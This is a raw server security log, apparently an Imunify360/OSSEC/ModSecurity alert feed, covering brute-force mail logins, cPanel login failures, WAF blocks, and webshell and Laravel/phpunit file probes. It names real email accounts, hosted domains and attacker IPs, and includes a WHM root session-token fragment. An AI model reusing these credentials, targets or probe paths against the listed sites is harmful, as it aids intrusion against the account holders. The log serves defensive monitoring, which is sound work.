name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:40:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:40:12 dovecot_login authenticator failed for H=(WMwgQ30R7T) [185.230.124.69]:52642: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:40:05 dovecot_login authenticator failed for H=(APMAkm11Z) [178.16.54.22]:58247: 535 Incorrect authentication data (set_id=bentey)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.80.162
country_id: 99237
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=778095 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.11.28
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/service.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.207.41.209
country_id: 6290252
description:
2026-01-30 21:40:48 dovecot_login authenticator failed for H=([109.207.41.209]) [109.207.41.209]:43447: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:40:23 dovecot_login authenticator failed for H=(VfMmj14r) [185.230.124.69]:63446: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.246.31.172
country_id: 1814991
description:
2026-01-30 21:40:26 dovecot_login authenticator failed for H=([116.246.31.172]) [116.246.31.172]:45786: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.184.107.129
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&page_id=1&sub=30 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.177.210.193
country_id: 3469034
description:
2026-01-30 21:41:45 dovecot_login authenticator failed for H=(193.210.177.45.fronteirainternet.com.br) [45.177.210.193]:62655: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:41:01 dovecot_login authenticator failed for H=(bTsIAIPE) [185.230.124.69]:55847: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:41:06 dovecot_login authenticator failed for H=(35NXkoLi) [178.16.54.22]:55784: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.187.153
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=308206 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.229.11
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=435578 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:41:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:42:09 dovecot_login authenticator failed for H=(kOCoV12FN) [185.230.124.69]:55771: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.178.72.44
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=27 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:42:59 dovecot_login authenticator failed for H=(L10bS5IsmS) [185.230.124.69]:58335: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.73.94
country_id: 1269750
description:
2026-01-30 21:42:07 dovecot_login authenticator failed for H=([125.19.196.193]) [182.78.73.94]:34012: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:42:11 dovecot_login authenticator failed for H=(QC529q3ZVp) [178.16.54.22]:59535: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:42:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/bin/phpunit.bat||User:visoftcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.217.102
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=18 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 21:43:01 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:43580: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 21:43:04 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:13669: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.242.9
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/maatwebsite/excel/dump.rdb||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.231
country_id: 1269750
description:
2026-01-30 21:43:40 dovecot_login authenticator failed for H=(nsg-corporate-231.228.187.122.airtel.in) [122.187.228.231]:39772: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-30 21:43:48 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:49618: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-30 21:44:00 +0800] info [whostmgrd] 122.165.41.227 - root "GET /libraries/bootstrap/optimized/fonts/glyphicons-halflings-regular.woff HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [103.214.234.27] != Current IP Address [122.165.41.227]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:43:16 dovecot_login authenticator failed for H=(DGkf4bhFj) [185.230.124.69]:57121: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 21:43:23 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:45288: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.225.4
country_id: 1269750
description:
2026-01-30 21:43:47 dovecot_login authenticator failed for H=([203.129.225.4]) [203.129.225.4]:59070: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 11011
name: WHM SSO login failed
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-30 21:44:00 +0800] info [whostmgrd] 122.165.41.227 PURGE root:vwdi_d5iu2X_RXti badpass [cookie ip check: IP address has changed: IP Address [103.214.234.27] != Current IP Address [122.165.41.227]]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:43:11 dovecot_login authenticator failed for H=(YtaJqiG) [178.16.54.22]:63007: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:43:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 21:43:16 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:57731: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.120.26.49
country_id: 1831722
description:
[2026-01-30 21:43:26 +0800] info [cpaneld] 117.120.26.49 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-30 21:44:49 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "GET /cpsess3570780216/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769780689373&_=1769680632810 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.151.136
country_id: 1819730
description:
2026-01-30 21:44:41 dovecot_login authenticator failed for H=136.151.48.116.static.netvigator.com [116.48.151.136]:63686: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 21:44:01 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:40271: 535 Incorrect authentication data (set_id=project@tujusetia.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.196.63.93
country_id: 6252001
description:
[2026-01-30 21:44:10 +0800] info [whostmgrd] 73.196.63.93 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.87.170.189
country_id: 1880251
description:
2026-01-30 21:44:26 dovecot_plain authenticator failed for H=(7eucqn1lpu668vth4emu1sivhj1g21) [180.87.170.189]:23374: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:44:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.36.218.143
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=435053 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:44:36 1045967 [Warning] Aborted connection 1045967 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 21:45:01 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:57310: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:44:19 dovecot_login authenticator failed for H=(OTIBLs) [178.16.54.22]:51882: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:44:18 dovecot_login authenticator failed for H=(XXB9bo54Rj) [185.230.124.69]:60945: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.1.238
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=4&page_id=1 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.50.199.9
country_id: 1733045
description:
[2026-01-30 21:45:05 +0800] info [webmaild] 60.50.199.9 - horizon@tst-ma.com "GET /cpsess3570780216/3rdparty/roundcube/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1769780705119&_=1769680632812 HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:45:08 dovecot_login authenticator failed for H=(yKUUxvU5) [185.230.124.69]:56830: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.109.25.93
country_id: 1643084
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=434148 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:45:10 dovecot_login authenticator failed for H=(9LZjf6Du) [178.16.54.22]:55532: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.14.249.50
country_id: 99237
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=8 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.171.249
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=11341523582879 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.177.140
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=539500 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.115.45.103
country_id: 953987
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=1&page_id=1&sub=33 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.47
country_id: 798544
description:
2026-01-30 21:46:29 dovecot_login authenticator failed for H=89-68-245-47.dynamic.play.pl [89.68.245.47]:59339: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.151.211
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=28 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:46:04 dovecot_login authenticator failed for H=(xdVJl6) [185.230.124.69]:64029: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:46:04 dovecot_login authenticator failed for H=(IPjTyBZKv) [178.16.54.22]:63233: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:46:04 dovecot_login authenticator failed for H=(99lKastROx) [185.230.124.69]:61988: 535 Incorrect authentication data (set_id=marketing@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.163.127.14
country_id: 1269750
description:
2026-01-30 21:46:20 dovecot_login authenticator failed for H=(abts-north-dynamic-014.127.163.122.airtelbroadband.in) [122.163.127.14]:54319: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.170.37.28
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 21:47:57 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:23062: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:47:06 dovecot_login authenticator failed for H=(J2abwsM) [178.16.54.22]:57521: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.180.17
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=5&page_id=1&sub=25 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.148.0.202
country_id: 6252001
description:
2026-01-30 21:47:44 dovecot_login authenticator failed for H=syn-131-148-000-202.biz.spectrum.com [131.148.0.202]:64894: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.51.201
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?page_id=15 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:47:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.212.74
country_id: 1835841
description:
2026-01-30 21:47:59 dovecot_login authenticator failed for H=([183.98.212.74]) [183.98.212.74]:33859: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.47.153.133
country_id: 1269750
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=232442 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:47:14 dovecot_login authenticator failed for H=(tsrDXIFbZ) [185.230.124.69]:59524: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.74.71.17
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/enquiry.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 21:48:56 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:39197: 535 Incorrect authentication data (set_id=hafizi)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.86.190.148
country_id: 690791
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=4&page_id=1&sub=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:48:55 dovecot_login authenticator failed for H=(dahcM13z) [185.230.124.69]:60221: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:48:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@col.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.87.169
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=235857 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:48:05 1046124 [Warning] Aborted connection 1046124 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.187.207.18
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/resize.php?h=360&img=img/category_photos/59477378.jpg&w=360 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:48:04 dovecot_login authenticator failed for H=(ws4pEWea) [185.230.124.69]:59548: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:48:07 dovecot_login authenticator failed for H=(pMGFqUV7) [178.16.54.22]:55527: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:48:40 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:49:10 dovecot_login authenticator failed for H=(QassbI) [178.16.54.22]:49763: 535 Incorrect authentication data (set_id=alanlai@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.58.49
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=212395 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.95.177.220
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 21:49:38 +0800] info [cpaneld] 202.178.120.157 - kik! "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:49:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/plug/sms/img/product.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.0.155
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&page_id=1&sub=13 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 21:49:19 dovecot_login authenticator failed for H=(0GOM9QIPVh) [185.230.124.69]:58894: 535 Incorrect authentication data (set_id=marketing@manforce.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 103.214.234.27
country_id: 1269750
description:
[2026-01-30 21:50:08 +0800] info [whostmgrd] 103.214.234.27 - root "GET /cpsess4516104758/json-api/loadavg HTTP/1.1" DEFERRED LOGIN whostmgrd: cookie ip check: IP address has changed: IP Address [122.165.41.227] != Current IP Address [103.214.234.27]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 21:50:09 dovecot_login authenticator failed for H=(zHF0qDg) [178.16.54.22]:64595: 535 Incorrect authentication data (set_id=bentey)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 21:50:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account marketing@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 21:50:45 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:45229: 535 Incorrect authentication data (set_id=fadilah@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.169.52.67
country_id: 2017370
description:
2026-01-30 21:50:53 dovecot_login authenticator failed for H=([193.169.52.67]) [193.169.52.67]:45080: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
